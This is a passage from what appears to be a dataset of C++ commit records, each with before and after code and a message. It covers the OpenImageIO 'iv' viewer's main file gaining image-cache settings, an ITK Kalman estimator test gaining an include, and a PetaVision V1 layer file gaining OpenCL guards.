}\n}\n\n\n\n\/\/\/ Try to put the process into the background so it doesn't continue to\n\/\/\/ tie up any shell that it was launched from.  Return true if successful,\n\/\/\/ false if it was unable to do so.\nstatic bool\nput_in_background (int argc, char *argv[])\n{\n    \/\/ You would think that this would be sufficient:\n    \/\/   pid_t pid = fork ();\n    \/\/   if (pid < 0)       \/\/ Some kind of error, we were unable to background\n    \/\/      return false;\n    \/\/   if (pid == 0)\n    \/\/       return true;   \/\/ This is the child process, so continue with life\n    \/\/   \/\/ Otherwise, this is the parent process, so terminate\n    \/\/   exit (0); \n    \/\/ But it's not.  On OS X, it's not safe to fork() if your app is linked\n    \/\/ against certain libraries or frameworks.  So the only thing that I\n    \/\/ think is safe is to exec a new process.\n    \/\/ Another solution is this:\n    \/\/    daemon (1, 1);\n    \/\/ But it suffers from the same problem on OS X, and seems to just be\n    \/\/ a wrapper for fork.\n\n#ifdef __linux\n    \/\/ Simplest case:\n    daemon (1, 1);\n    return true;\n#endif\n\n\n#ifdef __APPLE__\n#if 0\n    \/\/ Another solution -- But I can't seem to make this work!\n    std::vector<char *> newargs;\n    newargs.push_back (\"-F\");\n    for (int i = 0;  i < argc;  ++i)\n        newargs.push_back (argv[i]);\n    newargs.push_back (NULL);\n    if (fork())\n        exit (0);\n    execv (\"\/Users\/lg\/lg\/proj\/oiio\/dist\/macosx\/bin\/iv\" \/*argv[0]*\/, &newargs[0]);\n    exit (0);\n#endif\n\n#if 1\n    \/\/ This one works -- just call system(), but we have to properly\n    \/\/ quote all the arguments in case filenames have spaces in them.\n    std::string newcmd = std::string(argv[0]) + \" -F\";\n    for (int i = 1;  i < argc;  ++i) {\n        newcmd += \" \\\"\";\n        newcmd += argv[i];\n        newcmd += \"\\\"\";\n    }\n    newcmd += \" &\";\n    if (system (newcmd.c_str()) != -1)\n        exit (0);\n    return true;\n#endif\n\n\n#endif\n\n#ifdef WIN32\n    \/\/ FIXME: How to do this for win32?  Somebody told me that it's not\n    \/\/ necessary at all, and we just have to rename 'main' to 'winMain'\n    \/\/ for it to become a backgrounded app.\n    return false;\n#endif\n}\n\n\n\nint\nmain (int argc, char *argv[])\n{\n    getargs (argc, argv);\n\n    if (! foreground_mode)\n        put_in_background (argc, argv);\n\n    \/\/ LG\n\/\/    Q_INIT_RESOURCE(iv);\n    QApplication app(argc, argv);\n    ImageViewer *mainWin = new ImageViewer;\n    mainWin->show();\n\n    \/\/ Make sure we are the top window with the focus.\n    mainWin->raise ();\n    mainWin->activateWindow ();\n\n    BOOST_FOREACH (const std::string &s, filenames) {\n        mainWin->add_image (s);\n    }\n\n    mainWin->current_image (0);\n\n    int r = app.exec();\n    \/\/ OK to clean up here\n    return r;\n}\n<commit_msg>iv: set up the underlying IC with a reasonable cache size and with  \"autotile\" turned on.  Also, when -v is used or when compiled with DEBUG, print IC and memory stats before exiting.<commit_after>\/*\n  Copyright 2008 Larry Gritz and the other authors and contributors.\n  All Rights Reserved.\n\n  Redistribution and use in source and binary forms, with or without\n  modification, are permitted provided that the following conditions are\n  met:\n  * Redistributions of source code must retain the above copyright\n    notice, this list of conditions and the following disclaimer.\n  * Redistributions in binary form must reproduce the above copyright\n    notice, this list of conditions and the following disclaimer in the\n    documentation and\/or other materials provided with the distribution.\n  * Neither the name of the software's owners nor the names of its\n    contributors may be used to endorse or promote products derived from\n    this software without specific prior written permission.\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n  \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n  OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n  LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n  (This is the Modified BSD License)\n*\/\n\n\n#include <cstdio>\n#include <cstdlib>\n#include <cmath>\n#include <ctime>\n#include <iostream>\n#include <iterator>\n\n#include <QtGui>\n\n#include <boost\/foreach.hpp>\n\n#include \"imageio.h\"\nusing namespace OpenImageIO;\n#include \"imageviewer.h\"\n#include \"timer.h\"\n#include \"argparse.h\"\n#include \"sysutil.h\"\n#include \"strutil.h\"\n#include \"imagecache.h\"\n\n\n\nstatic bool verbose = false;\nstatic bool foreground_mode = false;\nstatic std::vector<std::string> filenames;\n\n\n\nstatic int\nparse_files (int argc, const char *argv[])\n{\n    for (int i = 0;  i < argc;  i++)\n        filenames.push_back (argv[i]);\n    return 0;\n}\n\n\n\nstatic void\ngetargs (int argc, char *argv[])\n{\n    bool help = false;\n    ArgParse ap;\n    ap.options (\"Usage:  iv [options] [filename...]\",\n                  \"%*\", parse_files, \"\",\n                  \"--help\", &help, \"Print help message\",\n                  \"-v\", &verbose, \"Verbose status messages\",\n                  \"-F\", &foreground_mode, \"Foreground mode\",\n                  NULL);\n    if (ap.parse (argc, (const char**)argv) < 0) {\n        std::cerr << ap.error_message() << std::endl;\n        ap.usage ();\n        exit (EXIT_FAILURE);\n    }\n    if (help) {\n        ap.usage ();\n        exit (EXIT_FAILURE);\n    }\n}\n\n\n\n\/\/\/ Try to put the process into the background so it doesn't continue to\n\/\/\/ tie up any shell that it was launched from.  Return true if successful,\n\/\/\/ false if it was unable to do so.\nstatic bool\nput_in_background (int argc, char *argv[])\n{\n    \/\/ You would think that this would be sufficient:\n    \/\/   pid_t pid = fork ();\n    \/\/   if (pid < 0)       \/\/ Some kind of error, we were unable to background\n    \/\/      return false;\n    \/\/   if (pid == 0)\n    \/\/       return true;   \/\/ This is the child process, so continue with life\n    \/\/   \/\/ Otherwise, this is the parent process, so terminate\n    \/\/   exit (0); \n    \/\/ But it's not.  On OS X, it's not safe to fork() if your app is linked\n    \/\/ against certain libraries or frameworks.  So the only thing that I\n    \/\/ think is safe is to exec a new process.\n    \/\/ Another solution is this:\n    \/\/    daemon (1, 1);\n    \/\/ But it suffers from the same problem on OS X, and seems to just be\n    \/\/ a wrapper for fork.\n\n#ifdef __linux\n    \/\/ Simplest case:\n    daemon (1, 1);\n    return true;\n#endif\n\n\n#ifdef __APPLE__\n#if 0\n    \/\/ Another solution -- But I can't seem to make this work!\n    std::vector<char *> newargs;\n    newargs.push_back (\"-F\");\n    for (int i = 0;  i < argc;  ++i)\n        newargs.push_back (argv[i]);\n    newargs.push_back (NULL);\n    if (fork())\n        exit (0);\n    execv (\"\/Users\/lg\/lg\/proj\/oiio\/dist\/macosx\/bin\/iv\" \/*argv[0]*\/, &newargs[0]);\n    exit (0);\n#endif\n\n#if 1\n    \/\/ This one works -- just call system(), but we have to properly\n    \/\/ quote all the arguments in case filenames have spaces in them.\n    std::string newcmd = std::string(argv[0]) + \" -F\";\n    for (int i = 1;  i < argc;  ++i) {\n        newcmd += \" \\\"\";\n        newcmd += argv[i];\n        newcmd += \"\\\"\";\n    }\n    newcmd += \" &\";\n    if (system (newcmd.c_str()) != -1)\n        exit (0);\n    return true;\n#endif\n\n\n#endif\n\n#ifdef WIN32\n    \/\/ FIXME: How to do this for win32?  Somebody told me that it's not\n    \/\/ necessary at all, and we just have to rename 'main' to 'winMain'\n    \/\/ for it to become a backgrounded app.\n    return false;\n#endif\n}\n\n\n\nint\nmain (int argc, char *argv[])\n{\n    getargs (argc, argv);\n\n    if (! foreground_mode)\n        put_in_background (argc, argv);\n\n    \/\/ LG\n\/\/    Q_INIT_RESOURCE(iv);\n    QApplication app(argc, argv);\n    ImageViewer *mainWin = new ImageViewer;\n    mainWin->show();\n\n    \/\/ Set up the imagecache with parameters that make sense for iv\n    ImageCache *imagecache = ImageCache::create (true);\n    imagecache->attribute (\"max_memory_MB\", 512.0);  \/* Seems fair *\/\n    imagecache->attribute (\"autotile\", 256);\n\n    \/\/ Make sure we are the top window with the focus.\n    mainWin->raise ();\n    mainWin->activateWindow ();\n\n    \/\/ Add the images\n    BOOST_FOREACH (const std::string &s, filenames) {\n        mainWin->add_image (s);\n    }\n\n    mainWin->current_image (0);\n\n    int r = app.exec();\n    \/\/ OK to clean up here\n\n#ifndef DEBUG\n    if (verbose)\n#endif\n    {\n        size_t mem = Sysutil::memory_used (true);\n        std::cout << \"iv total memory used: \" << Strutil::memformat (mem) << \"\\n\";\n        std::cout << \"\\n\";\n        std::cout << imagecache->getstats (1+verbose) << \"\\n\";\n    }\n\n    return r;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Insight Segmentation & Registration Toolkit (ITK)\n  Module:    itkKalmanLinearEstimatorTest.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\nCopyright (c) 2001 Insight Consortium\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n   this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n   this list of conditions and the following disclaimer in the documentation\n   and\/or other materials provided with the distribution.\n\n * The name of the Insight Consortium, nor the names of any consortium members,\n   nor of any contributors, may be used to endorse or promote products derived\n   from this software without specific prior written permission.\n\n  * Modified source versions must be plainly marked as such, and must not be\n    misrepresented as being the original software.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS ``AS IS''\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n=========================================================================*\/\n\n#include \"itkKalmanLinearEstimator.h\"\n\n\/** \n *  This program test one instantiation of the itk::KalmanLinearEstimator class\n * \n *  The test is done by providing a Linear Equation in 6D for which the \n *  coefficients are known. A population of samples is generated and \n *  passed to the KalmanLinearEstimator.\n *\n *\/ \n\nint main()\n{\n\n\n  typedef itk::KalmanLinearEstimator<double,6> KalmanFilterType;\n\n  typedef KalmanFilterType::VectorType    VectorType;\n  typedef KalmanFilterType::MatrixType    MatrixType;\n  typedef KalmanFilterType::ValueType     ValueType;\n\n  KalmanFilterType filter;\n\n  filter.ClearEstimation();\n  filter.SetVariance(1.0);\n  \n  ValueType     measure;\n  VectorType    predictor;\n\n  VectorType    planeEquation;\n\n  planeEquation(0) = 9.0;\n  planeEquation(1) = 6.0;\n  planeEquation(2) = 7.0;\n  planeEquation(3) = 9.0;\n  planeEquation(4) = 4.0;\n  planeEquation(5) = 6.0;\n\n  const unsigned int N = 10;\n\n  predictor(5)  =  1.0; \n  for(unsigned int ax=0; ax < N; ax++) \n    {\n    predictor(0)  = ax; \n    for(unsigned int bx=0; bx < N; bx++) \n      {\n      predictor(1)  = bx; \n      for(unsigned int cx=0; cx < N; cx++) \n        {\n        predictor(2)  = cx; \n        for(unsigned int dx=0; dx < N; dx++) \n          {\n          predictor(3)  = dx; \n          for(unsigned int ex=0; ex < N; ex++) \n            {\n            predictor(4)  =  ex; \n            \n            measure = dot_product( predictor, planeEquation );\n            \n            filter.UpdateWithNewMeasure(measure,predictor);\n            \n            }\n          }\n        }\n      }\n    }\n\n  VectorType estimation = filter.GetEstimator();\n\n  std::cout << std::endl << \"The Right answer should be : \" << std::endl;\n  std::cout << planeEquation;\n\n  std::cout << std::endl << \"The Estimation is : \" << std::endl;\n  std::cout << estimation;\n\n  VectorType error = estimation - planeEquation;\n  ValueType errorMagnitude =  dot_product( error, error );\n\n  std::cout << std::endl << \"Errors : \" << std::endl;\n  std::cout << error;\n\n  std::cout << std::endl << \"Error Magnitude : \" << std::endl;\n  std::cout << errorMagnitude;\n\n  std::cout << std::endl << \"Variance : \" << std::endl;\n  std::cout << filter.GetVariance();\n   \n  std::cout << std::endl << std::endl;\n\n  bool pass = true;\n\n  const float tolerance = 1e-4;\n  \n  if( errorMagnitude > tolerance ) \n    {\n    pass = false;\n    }\n\n  if( !pass )\n    {\n    std::cout << \"Test failed.\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n  std::cout << \"Test passed.\" << std::endl;\n  return EXIT_SUCCESS;\n\n\n}\n<commit_msg>ERR: Added missing include of <iostream><commit_after>\/*=========================================================================\n\n  Program:   Insight Segmentation & Registration Toolkit (ITK)\n  Module:    itkKalmanLinearEstimatorTest.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\nCopyright (c) 2001 Insight Consortium\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n   this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n   this list of conditions and the following disclaimer in the documentation\n   and\/or other materials provided with the distribution.\n\n * The name of the Insight Consortium, nor the names of any consortium members,\n   nor of any contributors, may be used to endorse or promote products derived\n   from this software without specific prior written permission.\n\n  * Modified source versions must be plainly marked as such, and must not be\n    misrepresented as being the original software.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS ``AS IS''\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n=========================================================================*\/\n\n#include \"itkKalmanLinearEstimator.h\"\n\n#include <iostream>\n\n\/** \n *  This program test one instantiation of the itk::KalmanLinearEstimator class\n * \n *  The test is done by providing a Linear Equation in 6D for which the \n *  coefficients are known. A population of samples is generated and \n *  passed to the KalmanLinearEstimator.\n *\n *\/ \n\nint main()\n{\n\n\n  typedef itk::KalmanLinearEstimator<double,6> KalmanFilterType;\n\n  typedef KalmanFilterType::VectorType    VectorType;\n  typedef KalmanFilterType::MatrixType    MatrixType;\n  typedef KalmanFilterType::ValueType     ValueType;\n\n  KalmanFilterType filter;\n\n  filter.ClearEstimation();\n  filter.SetVariance(1.0);\n  \n  ValueType     measure;\n  VectorType    predictor;\n\n  VectorType    planeEquation;\n\n  planeEquation(0) = 9.0;\n  planeEquation(1) = 6.0;\n  planeEquation(2) = 7.0;\n  planeEquation(3) = 9.0;\n  planeEquation(4) = 4.0;\n  planeEquation(5) = 6.0;\n\n  const unsigned int N = 10;\n\n  predictor(5)  =  1.0; \n  for(unsigned int ax=0; ax < N; ax++) \n    {\n    predictor(0)  = ax; \n    for(unsigned int bx=0; bx < N; bx++) \n      {\n      predictor(1)  = bx; \n      for(unsigned int cx=0; cx < N; cx++) \n        {\n        predictor(2)  = cx; \n        for(unsigned int dx=0; dx < N; dx++) \n          {\n          predictor(3)  = dx; \n          for(unsigned int ex=0; ex < N; ex++) \n            {\n            predictor(4)  =  ex; \n            \n            measure = dot_product( predictor, planeEquation );\n            \n            filter.UpdateWithNewMeasure(measure,predictor);\n            \n            }\n          }\n        }\n      }\n    }\n\n  VectorType estimation = filter.GetEstimator();\n\n  std::cout << std::endl << \"The Right answer should be : \" << std::endl;\n  std::cout << planeEquation;\n\n  std::cout << std::endl << \"The Estimation is : \" << std::endl;\n  std::cout << estimation;\n\n  VectorType error = estimation - planeEquation;\n  ValueType errorMagnitude =  dot_product( error, error );\n\n  std::cout << std::endl << \"Errors : \" << std::endl;\n  std::cout << error;\n\n  std::cout << std::endl << \"Error Magnitude : \" << std::endl;\n  std::cout << errorMagnitude;\n\n  std::cout << std::endl << \"Variance : \" << std::endl;\n  std::cout << filter.GetVariance();\n   \n  std::cout << std::endl << std::endl;\n\n  bool pass = true;\n\n  const float tolerance = 1e-4;\n  \n  if( errorMagnitude > tolerance ) \n    {\n    pass = false;\n    }\n\n  if( !pass )\n    {\n    std::cout << \"Test failed.\" << std::endl;\n    return EXIT_FAILURE;\n    }\n\n  std::cout << \"Test passed.\" << std::endl;\n  return EXIT_SUCCESS;\n\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * V1.cpp\n *\n *  Created on: Jul 30, 2008\n *      Author: rasmussn\n *\/\n\n#include \"..\/include\/pv_common.h\"\n#include \"..\/include\/default_params.h\"\n#include \"..\/connections\/PVConnection.h\"\n#include \"HyPerLayer.hpp\"\n#include \"V1.hpp\"\n\n#include <assert.h>\n#include <float.h>\n#include <math.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nnamespace PV\n{\n\nLIFParams LIFDefaultParams =\n{\n    V_REST, V_EXC, V_INH, V_INHB,            \/\/ V (mV)\n    TAU_VMEM, TAU_EXC, TAU_INH, TAU_INHB,\n    VTH_REST,  TAU_VTH, DELTA_VTH,\t     \/\/ tau (ms)\n    250, 0*NOISE_AMP*( 1.0\/TAU_EXC ) * ( ( TAU_INH * (V_REST-V_INH) + TAU_INHB * (V_REST-V_INHB) ) \/ (V_EXC-V_REST) ),\n    250, 0*NOISE_AMP*1.0,\n    250, 0*NOISE_AMP*1.0                       \/\/ noise (G)\n};\n\nV1::V1(const char* name, HyPerCol * hc)\n  : HyPerLayer(name, hc)\n{\n   initialize(TypeLIFSimple);\n}\n\nV1::V1(const char* name, HyPerCol * hc, PVLayerType type)\n  : HyPerLayer(name, hc)\n{\n   initialize(type);\n}\n\nint V1::initialize(PVLayerType type)\n{\n   float time = 0.0f;\n\n   setParams(parent->parameters(), &LIFDefaultParams);\n\n   pvlayer_setFuncs(clayer, (INIT_FN) &LIF2_init, (UPDATE_FN) &LIF2_update_exact_linear);\n   this->clayer->layerType = type;\n\n   parent->addLayer(this);\n\n   if (parent->parameters()->value(name, \"restart\", 0) != 0) {\n      readState(name, &time);\n   }\n\n   \/\/ initialize OpenCL parameters\n   \/\/\n   CLDevice * device = parent->getCLDevice();\n   updatestate_kernel = device->createKernel(\"LIF_updatestate.cl\", \"LIF_updatestate.cl\");\n\n   \/\/ TODO - fix to use device and layer parameters\n   if (device->id() == 1) {\n      nxl = 1;\n      nyl = 1;\n   }\n   else {\n      nxl = 16;\n      nyl = 16;\n   }\n\n   size_t lsize    = clayer->numNeurons*sizeof(pvdata_t);\n   size_t lsize_ex = clayer->numExtended*sizeof(pvdata_t);\n\n   clBuffers.V    = device->createBuffer(lsize, clayer->V);\n   clBuffers.G_E  = device->createBuffer(lsize, clayer->G_E);\n   clBuffers.G_I  = device->createBuffer(lsize, clayer->G_I);\n   clBuffers.G_IB = device->createBuffer(lsize, clayer->G_IB);\n   clBuffers.phi  = device->createBuffer(lsize, clayer->phi);\n   clBuffers.activity = device->createBuffer(lsize_ex, clayer->activity);\n\n   int argid = 0;\n   updatestate_kernel->setKernelArg(argid++, clBuffers.V);\n\n   return 0;\n}\n\nint V1::setParams(PVParams * params, LIFParams * p)\n{\n   float dt = .001 * parent->getDeltaTime();  \/\/ seconds\n\n   clayer->params = (float *) malloc(sizeof(*p));\n   assert(clayer->params != NULL);\n   memcpy(clayer->params, p, sizeof(*p));\n\n   clayer->numParams = sizeof(*p) \/ sizeof(float);\n   assert(clayer->numParams == 17);\n\n   LIFParams * cp = (LIFParams *) clayer->params;\n\n   if (params->present(name, \"Vrest\")) cp->Vrest = params->value(name, \"Vrest\");\n   if (params->present(name, \"Vexc\"))  cp->Vexc  = params->value(name, \"Vexc\");\n   if (params->present(name, \"Vinh\"))  cp->Vinh  = params->value(name, \"Vinh\");\n   if (params->present(name, \"VinhB\")) cp->VinhB = params->value(name, \"VinhB\");\n\n   if (params->present(name, \"tau\"))   cp->tau   = params->value(name, \"tau\");\n   if (params->present(name, \"tauE\"))  cp->tauE  = params->value(name, \"tauE\");\n   if (params->present(name, \"tauI\"))  cp->tauI  = params->value(name, \"tauI\");\n   if (params->present(name, \"tauIB\")) cp->tauIB = params->value(name, \"tauIB\");\n\n   if (params->present(name, \"VthRest\"))  cp->VthRest  = params->value(name, \"VthRest\");\n   if (params->present(name, \"tauVth\"))   cp->tauVth   = params->value(name, \"tauVth\");\n   if (params->present(name, \"deltaVth\")) cp->deltaVth = params->value(name, \"deltaVth\");\n\n   if (params->present(name, \"noiseAmpE\"))   cp->noiseAmpE   = params->value(name, \"noiseAmpE\");\n   if (params->present(name, \"noiseAmpI\"))   cp->noiseAmpI   = params->value(name, \"noiseAmpI\");\n   if (params->present(name, \"noiseAmpIB\"))  cp->noiseAmpIB  = params->value(name, \"noiseAmpIB\");\n\n   if (params->present(name, \"noiseFreqE\")) {\n      cp->noiseFreqE  = params->value(name, \"noiseFreqE\");\n      if (dt * cp->noiseFreqE > 1.0) cp->noiseFreqE = 1.0 \/ dt;\n   }\n   if (params->present(name, \"noiseFreqI\")) {\n      cp->noiseFreqI  = params->value(name, \"noiseFreqI\");\n      if (dt * cp->noiseFreqI > 1.0) cp->noiseFreqI = 1.0 \/ dt;\n   }\n   if (params->present(name, \"noiseFreqIB\")) {\n      cp->noiseFreqIB = params->value(name, \"noiseFreqIB\");\n      if (dt * cp->noiseFreqIB > 1.0) cp->noiseFreqIB = 1.0 \/ dt;\n   }\n\n   return 0;\n}\n\nint V1::updateStateOpenCL(float time, float dt)\n{\n   int status = CL_SUCCESS;\n\n   \/\/ setup and run kernel\n   \/\/ a. unmap the state variables so device can read and write\n   \/\/ b. pass state variables to kernel\n   \/\/ c. run kernel\n   \/\/ e. map the state variable for processing on CPU\n\n   const int nx = clayer->loc.nx;\n   const int ny = clayer->loc.ny;\n\n   updatestate_kernel->run(nx, ny, nxl, nyl);\n\n   return status;\n}\n\n\nint V1::updateState(float time, float dt)\n{\n   PVParams * params = parent->parameters();\n\n   pv_debug_info(\"[%d]: V1::updateState:\", clayer->columnId);\n\n   int spikingFlag = (int) params->value(name, \"spikingFlag\", 1);\n\n   if (spikingFlag != 0) {\n#ifndef PV_USE_OPENCL\n      return LIF2_update_exact_linear(clayer, dt);\n#else\n      return updateStateOpenCL(time, dt);\n#endif\n   }\n\n   \/\/ just copy accumulation buffer to membrane potential\n   \/\/ and activity buffer (nonspiking)\n\n   updateV();\n   setActivity();\n   resetPhiBuffers();\n\n   return 0;\n}\n\nint V1::updateV() {\n   pvdata_t * V = getV();\n   pvdata_t ** phi = getCLayer()->phi;\n   pvdata_t * phiExc = phi[PHI_EXC];\n   pvdata_t * phiInh = phi[PHI_INH];\n   for( int k=0; k<getNumNeurons(); k++ ) {\n      V[k] = phiExc[k] - phiInh[k];\n#undef SET_MAX\n#ifdef SET_MAX\n      V[k] = V[k] > 1.0f ? 1.0f : V[k];\n#endif\n#undef SET_THRESH\n#ifdef SET_THRESH\n      V[k] = V[k] < 0.5f ? 0.0f : V[k];\n#endif\n   }\n   return EXIT_SUCCESS;\n}\n\nint V1::setActivity() {\n   const int nx = getLayerLoc()->nx;\n   const int ny = getLayerLoc()->ny;\n   const int nf = getCLayer()->numFeatures;\n   const int marginWidth = getLayerLoc()->nPad;\n   pvdata_t * activity = getCLayer()->activity->data;\n   pvdata_t * V = getV();\n   for( int k=0; k<getNumExtended(); k++ ) {\n      activity[k] = 0; \/\/ Would it be faster to only do the margins?\n   }\n   for( int k=0; k<getNumNeurons(); k++ ) {\n      int kex = kIndexExtended( k, nx, ny, nf, marginWidth );\n      activity[kex] = V[k];\n   }\n   return EXIT_SUCCESS;\n}\n\nint V1::resetPhiBuffers() {\n   pvdata_t ** phi = getCLayer()->phi;\n   int n = getNumNeurons();\n   resetBuffer( phi[PHI_EXC], n );\n   resetBuffer( phi[PHI_INH], n );\n   return EXIT_SUCCESS;\n}\n\nint V1::resetBuffer( pvdata_t * buf, int numItems ) {\n   for( int k=0; k<numItems; k++ ) buf[k] = 0.0;\n   return EXIT_SUCCESS;\n}\n\nint V1::writeState(const char * path, float time)\n{\n   HyPerLayer::writeState(path, time);\n\n#ifdef DEBUG_OUTPUT\n   \/\/ print activity at center of image\n\n   int sx = clayer->numFeatures;\n   int sy = sx*clayer->loc.nx;\n   pvdata_t * a = clayer->activity->data;\n\n   int n = (int) (sy*(clayer->loc.ny\/2 - 1) + sx*(clayer->loc.nx\/2));\n   for (int f = 0; f < clayer->numFeatures; f++) {\n      printf(\"f = %d, a[%d] = %f\\n\", f, n, a[n]);\n      n += 1;\n   }\n   printf(\"\\n\");\n\n   n = (int) (sy*(clayer->loc.ny\/2 - 1) + sx*(clayer->loc.nx\/2));\n   n -= 8;\n   for (int f = 0; f < clayer->numFeatures; f++) {\n      printf(\"f = %d, a[%d] = %f\\n\", f, n, a[n]);\n      n += 1;\n   }\n#endif\n\n   return 0;\n}\n\nint V1::findPostSynaptic(int dim, int maxSize, int col,\n\/\/ input: which layer, which neuron\n\t\tHyPerLayer *lSource, float pos[],\n\n\t\t\/\/ output: how many of our neurons are connected.\n\t\t\/\/ an array with their indices.\n\t\t\/\/ an array with their feature vectors.\n\t\tint* nNeurons, int nConnectedNeurons[], float *vPos)\n{\n\treturn 0;\n}\n\n} \/\/ namespace PV\n<commit_msg>Deleted some OBSOLETE code.  Added some OpenCL implementation in preparation for real stuff.  Actually mostly consistent use of #ifdef PV_USE_OPENCL to remove implementation.<commit_after>\/*\n * V1.cpp\n *\n *  Created on: Jul 30, 2008\n *      Author: rasmussn\n *\/\n\n#include \"..\/include\/pv_common.h\"\n#include \"..\/include\/default_params.h\"\n#include \"..\/connections\/PVConnection.h\"\n#include \"HyPerLayer.hpp\"\n#include \"V1.hpp\"\n\n#include <assert.h>\n#include <float.h>\n#include <math.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nnamespace PV\n{\n\nLIFParams LIFDefaultParams =\n{\n    V_REST, V_EXC, V_INH, V_INHB,            \/\/ V (mV)\n    TAU_VMEM, TAU_EXC, TAU_INH, TAU_INHB,\n    VTH_REST,  TAU_VTH, DELTA_VTH,\t     \/\/ tau (ms)\n    250, 0*NOISE_AMP*( 1.0\/TAU_EXC ) * ( ( TAU_INH * (V_REST-V_INH) + TAU_INHB * (V_REST-V_INHB) ) \/ (V_EXC-V_REST) ),\n    250, 0*NOISE_AMP*1.0,\n    250, 0*NOISE_AMP*1.0                       \/\/ noise (G)\n};\n\nV1::V1(const char* name, HyPerCol * hc)\n  : HyPerLayer(name, hc)\n{\n   initialize(TypeLIFSimple);\n}\n\nV1::V1(const char* name, HyPerCol * hc, PVLayerType type)\n  : HyPerLayer(name, hc)\n{\n   initialize(type);\n}\n\nint V1::initialize(PVLayerType type)\n{\n   float time = 0.0f;\n\n   setParams(parent->parameters(), &LIFDefaultParams);\n\n   pvlayer_setFuncs(clayer, (INIT_FN) &LIF2_init, (UPDATE_FN) &LIF2_update_exact_linear);\n   this->clayer->layerType = type;\n\n   parent->addLayer(this);\n\n   if (parent->parameters()->value(name, \"restart\", 0) != 0) {\n      readState(name, &time);\n   }\n\n#ifdef PV_USE_OPENCL\n   \/\/ initialize OpenCL parameters\n   \/\/\n   CLDevice * device = parent->getCLDevice();\n   updatestate_kernel = device->createKernel(\"LIF_updatestate.cl\", \"LIF_updatestate.cl\");\n\n   \/\/ TODO - fix to use device and layer parameters\n   if (device->id() == 1) {\n      nxl = 1;\n      nyl = 1;\n   }\n   else {\n      nxl = 16;\n      nyl = 16;\n   }\n\n   size_t lsize    = clayer->numNeurons*sizeof(pvdata_t);\n   size_t lsize_ex = clayer->numExtended*sizeof(pvdata_t);\n\n   clBuffers.V    = device->createBuffer(lsize, clayer->V);\n   clBuffers.G_E  = device->createBuffer(lsize, clayer->G_E);\n   clBuffers.G_I  = device->createBuffer(lsize, clayer->G_I);\n   clBuffers.G_IB = device->createBuffer(lsize, clayer->G_IB);\n   clBuffers.phi  = device->createBuffer(lsize, clayer->phi);\n   clBuffers.activity = device->createBuffer(lsize_ex, clayer->activity);\n\n   int argid = 0;\n   updatestate_kernel->setKernelArg(argid++, clBuffers.V);\n#endif\n\n   return 0;\n}\n\nint V1::setParams(PVParams * params, LIFParams * 